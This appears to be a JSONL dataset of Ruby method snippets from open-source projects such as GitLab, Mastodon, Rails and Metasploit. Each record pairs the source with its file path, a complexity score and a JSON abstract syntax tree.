{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/form_tag_helper.rb","start_line":132,"raw_source":"def styled_field_set_tag(legend = nil, options = nil, &)\n      apply_css_class_to_options(options, \"form--fieldset\")\n      field_set_tag(legend, options, &)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"styled_field_set_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"legend\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_css_class_to_options\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"form--fieldset\"]}]},{\"type\":\"send\",\"children\":[null,\"field_set_tag\",{\"type\":\"lvar\",\"children\":[\"legend\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}","id":"8039a8f8-6266-46b8-8b80-5bd3381f1708"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes.rb","start_line":39,"raw_source":"def rport\n    @rport || datastore['RPORT']\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}","id":"0ce59322-5a5c-428a-a792-1300dec00ffd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/http.rb","start_line":145,"raw_source":"def connection(url)\n      @connections[url.host] ||= {}\n\n      if conn = @connections[url.host][url.port]\n        return conn\n      end\n\n      refresh_connection url\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connections\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"host\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connections\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"host\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"port\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"refresh_connection\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}","id":"afd08f38-2a5b-47ca-97d6-30a0f97e5854"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb","start_line":88,"raw_source":"def Registry.check_key_exists(root_key, base_key)\n    request = Packet.create_request(COMMAND_ID_STDAPI_REGISTRY_CHECK_KEY_EXISTS)\n    request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)\n    request.add_tlv(TLV_TYPE_BASE_KEY, base_key)\n    response = client.send_request(request)\n    return response.get_tlv(TLV_TYPE_BOOL).value\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"check_key_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root_key\"]},{\"type\":\"arg\",\"children\":[\"base_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_REGISTRY_CHECK_KEY_EXISTS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_ROOT_KEY\"]},{\"type\":\"lvar\",\"children\":[\"root_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_BASE_KEY\"]},{\"type\":\"lvar\",\"children\":[\"base_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_BOOL\"]}]},\"value\"]}]}]}]}","id":"18f0553d-1d6b-4a50-83a8-a8faaca1bcca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/feature/definition.rb","start_line":183,"raw_source":"def load_from_file(path)\n        definition = File.read(path)\n        definition = YAML.safe_load(definition)\n        definition.deep_symbolize_keys!\n\n        self.new(path, definition).tap(&:validate!)\n      rescue StandardError => e\n        raise Feature::InvalidFeatureFlagError, \"Invalid definition for `#{path}`: #{e.message}\"\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"load_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"definition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"definition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"lvar\",\"children\":[\"definition\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"deep_symbolize_keys!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"definition\"]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate!\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"InvalidFeatureFlagError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid definition for `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"`: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"ceef262b-b330-43a5-8690-879635925d74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/copy_design_collection/copy_service.rb","start_line":128,"raw_source":"def remove_temporary_branch!\n        return unless target_repository.branch_exists?(temporary_branch)\n\n        target_sha = target_repository.commit(temporary_branch).id\n\n        target_repository.rm_branch(git_user, temporary_branch, target_sha: target_sha)\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_temporary_branch!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_repository\"]},\"branch_exists?\",{\"type\":\"send\",\"children\":[null,\"temporary_branch\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"target_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_repository\"]},\"commit\",{\"type\":\"send\",\"children\":[null,\"temporary_branch\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_repository\"]},\"rm_branch\",{\"type\":\"send\",\"children\":[null,\"git_user\"]},{\"type\":\"send\",\"children\":[null,\"temporary_branch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_sha\"]},{\"type\":\"lvar\",\"children\":[\"target_sha\"]}]}]}]}]}]}","id":"30db37a4-ef08-489c-9208-9769e9288a8d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/rule.rb","start_line":29,"raw_source":"def move!(offset)\n    rules = Rule.ordered.to_a\n    position = rules.index(self)\n\n    rules.delete_at(position)\n    rules.insert(position + offset, self)\n\n    transaction do\n      rules.each.with_index do |rule, index|\n        rule.update!(priority: index)\n      end\n    end\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"move!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rule\"]},\"ordered\"]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"index\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"delete_at\",{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"insert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"position\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rule\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]}]}]}]}","id":"2919489d-5cdf-4e0d-aec7-6287d1fb860a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/nested_groups_resolver.rb","start_line":38,"raw_source":"def resolve_groups(args)\n      return Group.none unless parent.present?\n\n      GroupsFinder\n        .new(context[:current_user], args.merge(parent: parent))\n        .execute\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"none\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[null,\"parent\"]}]}]}]}]},\"execute\"]}]}]}","id":"ab77d1b6-1613-470c-8e3a-52088e1b64c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/iterable/csv_enumerator_test.rb","start_line":95,"raw_source":"def csv_rows\n    @csv_rows ||= products_csv.map(&:fields)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_rows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@csv_rows\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"products_csv\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]}]}]}]}]}","id":"ea111dd4-2157-437a-a75a-4c396105c7de"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/inferred_concepts/applier.rb","start_line":76,"raw_source":"def match_existing_concepts_for_post(post)\n        return [] if post.blank?\n\n        # Get content to analyze\n        content = post_content_for_analysis(post)\n\n        # Get all existing concepts\n        existing_concepts = DiscourseAi::InferredConcepts::Manager.new.list_concepts\n        return [] if existing_concepts.empty?\n\n        # Use the ConceptMatcher persona to match concepts\n        matched_concept_names = match_concepts_to_content(content, existing_concepts)\n\n        # Find concepts in the database\n        matched_concepts = InferredConcept.where(name: matched_concept_names)\n\n        # Apply concepts to the post\n        apply_to_post(post, matched_concepts)\n\n        matched_concepts\n      end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"match_existing_concepts_for_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"post_content_for_analysis\",{\"type\":\"lvar\",\"children\":[\"post\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_concepts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"InferredConcepts\"]},\"Manager\"]},\"new\"]},\"list_concepts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_concepts\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"matched_concept_names\",{\"type\":\"send\",\"children\":[null,\"match_concepts_to_content\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"existing_concepts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"matched_concepts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InferredConcept\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"matched_concept_names\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"apply_to_post\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"matched_concepts\"]}]},{\"type\":\"lvar\",\"children\":[\"matched_concepts\"]}]}]}","id":"2addcdf3-55f7-49b1-b6f6-4ae433c11696"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/rssfeed.rb","start_line":38,"raw_source":"def create_session_item(session, status)\n      if status == 'created'\n        select(nil, nil, nil, 25)\n      end\n      title = \"#{session.type} session - #{session.sid} #{status}.\"\n      content = ''\n      if session.workspace\n        content << \"Workspace:\\t#{session.workspace}\\n\"\n      end\n      content << \"Session Information: #{session.info}\"\n      add_event({ title: title, date: Time.now.to_s, link: 'https://metasploit.com', content: content })\n    end","complexity_score":17.63,"ast_json":"{\"type\":\"def\",\"children\":[\"create_session_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"created\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[25]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"type\"]}]},{\"type\":\"str\",\"children\":[\" session - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sid\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Workspace:\\t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"workspace\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session Information: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"info\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_event\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"str\",\"children\":[\"https://metasploit.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"a7a75b3e-57b8-41d2-b95b-6fbec5011204"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/metrics.rb","start_line":33,"raw_source":"def initialize\n        super\n        @_metrics_started = false\n        @_metrics = {} # usage => metrics_state\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_metrics_started\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_metrics\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"c480706f-b737-4894-9088-c9142d5d3a3d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/preloader/association.rb","start_line":286,"raw_source":"def owner_key_type\n            @model.type_for_attribute(owner_key_name).type\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"owner_key_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"type_for_attribute\",{\"type\":\"send\",\"children\":[null,\"owner_key_name\"]}]},\"type\"]}]}","id":"7a239e42-bc6d-4890-9076-ccc0650bd3d3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account_suggestions/friends_of_friends_source.rb","start_line":9,"raw_source":"def source_query(account, limit: DEFAULT_LIMIT)\n    Account.find_by_sql([<<~SQL.squish, { id: account.id, limit: limit }]).map { |row| [row.id, row.frequency, row.followers_count] }\n      WITH first_degree AS (\n          SELECT target_account_id\n          FROM follows\n          JOIN accounts AS target_accounts ON follows.target_account_id = target_accounts.id\n          WHERE account_id = :id\n            AND NOT target_accounts.hide_collections\n      )\n      SELECT accounts.id, COUNT(*) AS frequency, account_stats.followers_count as followers_count\n      FROM accounts\n      JOIN follows ON follows.target_account_id = accounts.id\n      JOIN account_stats ON account_stats.account_id = accounts.id\n      LEFT OUTER JOIN follow_recommendation_mutes ON follow_recommendation_mutes.target_account_id = accounts.id AND follow_recommendation_mutes.account_id = :id\n      WHERE follows.account_id IN (SELECT * FROM first_degree)\n        AND NOT EXISTS (SELECT 1 FROM blocks b WHERE b.target_account_id = follows.target_account_id AND b.account_id = :id)\n        AND NOT EXISTS (SELECT 1 FROM blocks b WHERE b.target_account_id = :id AND b.account_id = follows.target_account_id)\n        AND NOT EXISTS (SELECT 1 FROM mutes m WHERE m.target_account_id = follows.target_account_id AND m.account_id = :id)\n        AND (accounts.domain IS NULL OR NOT EXISTS (SELECT 1 FROM account_domain_blocks b WHERE b.account_id = :id AND b.domain = accounts.domain))\n        AND NOT EXISTS (SELECT 1 FROM follows f WHERE f.target_account_id = follows.target_account_id AND f.account_id = :id)\n        AND NOT EXISTS (SELECT 1 FROM follow_requests f WHERE f.target_account_id = follows.target_account_id AND f.account_id = :id)\n        AND follows.target_account_id <> :id\n        AND accounts.discoverable\n        AND accounts.suspended_at IS NULL\n        AND accounts.silenced_at IS NULL\n        AND accounts.moved_to_account_id IS NULL\n        AND accounts.memorial = FALSE\n        AND follow_recommendation_mutes.target_account_id IS NULL\n      GROUP BY accounts.id, account_stats.id\n      ORDER BY frequency DESC, account_stats.followers_count ASC\n      LIMIT :limit\n    SQL\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"source_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_LIMIT\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find_by_sql\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH first_degree AS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT target_account_id\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM follows\\n\"]},{\"type\":\"str\",\"children\":[\"    JOIN accounts AS target_accounts ON follows.target_account_id = target_accounts.id\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE account_id = :id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND NOT target_accounts.hide_collections\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT accounts.id, COUNT(*) AS frequency, account_stats.followers_count as followers_count\\n\"]},{\"type\":\"str\",\"children\":[\"FROM accounts\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN follows ON follows.target_account_id = accounts.id\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN account_stats ON account_stats.account_id = accounts.id\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT OUTER JOIN follow_recommendation_mutes ON follow_recommendation_mutes.target_account_id = accounts.id AND follow_recommendation_mutes.account_id = :id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE follows.account_id IN (SELECT * FROM first_degree)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT 1 FROM blocks b WHERE b.target_account_id = follows.target_account_id AND b.account_id = :id)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT 1 FROM blocks b WHERE b.target_account_id = :id AND b.account_id = follows.target_account_id)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT 1 FROM mutes m WHERE m.target_account_id = follows.target_account_id AND m.account_id = :id)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND (accounts.domain IS NULL OR NOT EXISTS (SELECT 1 FROM account_domain_blocks b WHERE b.account_id = :id AND b.domain = accounts.domain))\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT 1 FROM follows f WHERE f.target_account_id = follows.target_account_id AND f.account_id = :id)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT 1 FROM follow_requests f WHERE f.target_account_id = follows.target_account_id AND f.account_id = :id)\\n\"]},{\"type\":\"str\",\"children\":[\"  AND follows.target_account_id <> :id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND accounts.discoverable\\n\"]},{\"type\":\"str\",\"children\":[\"  AND accounts.suspended_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  AND accounts.silenced_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  AND accounts.moved_to_account_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  AND accounts.memorial = FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"  AND follow_recommendation_mutes.target_account_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY accounts.id, account_stats.id\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY frequency DESC, account_stats.followers_count ASC\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT :limit\\n\"]}]},\"squish\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"frequency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"followers_count\"]}]}]}]}","id":"3bd9beb9-c5bc-451e-b4b9-b5f4a02432d0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_fastlane_function.rb","start_line":263,"raw_source":"def swift_return_value_documentation\n      unless @return_value\n        return nil\n      end\n\n      sample = \". Example: #{@sample_return_value}\" if @sample_return_value\n\n      return \" - returns: #{return_value}#{sample}\"\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"swift_return_value_documentation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_value\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sample_return_value\"]},{\"type\":\"lvasgn\",\"children\":[\"sample\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\". Example: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sample_return_value\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" - returns: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"return_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sample\"]}]}]}]}]}]}","id":"429b09ed-8593-4851-8a1e-9ecb04638170"}
